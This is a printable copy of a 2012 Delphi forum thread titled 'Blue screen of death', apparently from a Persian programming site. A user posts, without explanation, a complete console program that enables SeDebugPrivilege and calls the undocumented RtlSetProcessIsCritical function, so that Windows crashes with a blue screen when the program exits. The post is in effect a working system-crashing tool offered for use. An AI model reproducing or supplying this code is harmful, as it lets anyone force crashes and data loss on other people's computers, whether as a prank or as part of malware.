Parsi Coders
Blue screen of death - نسخه قابل چاپ

+- Parsi Coders (http://parsicoders.com)
+-- انجمن: Software Development Programming (http://parsicoders.com/forumdisplay.php?fid=37)
+--- انجمن: Pascal/Delphi (http://parsicoders.com/forumdisplay.php?fid=45)
+---- انجمن: Delphi (http://parsicoders.com/forumdisplay.php?fid=69)
+---- موضوع: Blue screen of death (/showthread.php?tid=2134)



Blue screen of death - Saeed7007 - 04-20-2012

کد:
program reboot;

{$APPTYPE CONSOLE}

uses
SysUtils,
Windows;

function RtlSetProcessIsCritical(unu:DWORD;proc:POinter;doi :DWORD):LongInt;stdcall; external 'ntdll.dll';
const
SE_DEBUG_NAME = 'SeDebugPrivilege';

function NTSetPrivilege(sPrivilege: string; bEnabled: Boolean): Boolean;
var
hToken: THandle;
TokenPriv: TOKEN_PRIVILEGES;
PrevTokenPriv: TOKEN_PRIVILEGES;
ReturnLength: Cardinal;
begin

Result := False;

if OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken) then
begin
try
if LookupPrivilegeValue(nil, PChar(sPrivilege),
TokenPriv.Privileges[0].Luid) then
begin
TokenPriv.PrivilegeCount := 1;

case bEnabled of
True: TokenPriv.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
False: TokenPriv.Privileges[0].Attributes := 0;
end;

ReturnLength := 0;
PrevTokenPriv := TokenPriv;

AdjustTokenPrivileges(hToken, False, TokenPriv, SizeOf(PrevTokenPriv),
PrevTokenPriv, ReturnLength);
end;
finally
CloseHandle(hToken);
end;
end;
end;

begin
NTSetPrivilege(SE_DEBUG_NAME,TRUE);
RtlSetProcessIsCritical(1,nil,0);
end.

Source : http://delphi.loxblog.com